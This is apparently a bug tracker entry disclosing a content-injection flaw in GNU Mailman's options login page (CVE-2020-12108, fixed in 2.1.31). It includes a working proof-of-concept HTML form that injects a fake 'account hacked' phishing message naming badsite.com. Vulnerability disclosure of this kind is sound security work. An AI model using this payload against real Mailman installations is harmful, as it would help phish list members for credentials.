

## Arbitrary Content Injection via the options login page.

Bug #1873722 reported by [Mark Sapiro](#) on 2020-04-20

This bug affects 1 person

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Affects	Status	Importance	Assigned to	Milestone
GNU Mailman	Fix Released	Medium	Mark Sapiro	GNU Mailman 2.1.31

### Bug Description

An issue similar to CVE - <https://www.cvedetails.com/cve/CVE-2018-13796/> exists at different endpoint & param. It can lead to a phishing attack.

Steps To Reproduce:

1. Copy and save the following HTML code and open it in any browser.  
Code:

```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/mailman/options/mailman"
method="POST">
<input type="hidden" name="email" value="Your&#32;account&#32;has&
#32;been&#32;hacked&#46;&#32;Kindly&#32;go&#32;to&#32;https&#58;&#47;
&#47;badsite&#46;com&#32;or&#32;share&#32;your&#32;credentials&#32;at&
#32;attacker&#64;badsite&#46;com" />
<input type="hidden" name="UserOptions" value="Unsubscribe&#32;or&
#32;edit&#32;options" />
<input type="hidden" name="language" value="en" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```

2. Can be seen there- "Your account has been hacked. Kindly go to <https://badsite.com> or share your credentials at <email address hidden>" message will be displayed on the screen.

### Related branches

[lp:mailman/2.1](#)

### CVE References

[2020-12108](#)

<a href="#">Mark Sapiro (msapiro)</a> wrote on 2020-04-20:	#1
<a href="#">Patch to fix this issue</a> (458 bytes, text/plain)	
<a href="#">Mark Sapiro (msapiro)</a> on 2020-05-05	
Changed in mailman: <b>milestone</b> :none → 2.1.31	
<a href="#">Mark Sapiro (msapiro)</a> on 2020-05-05	
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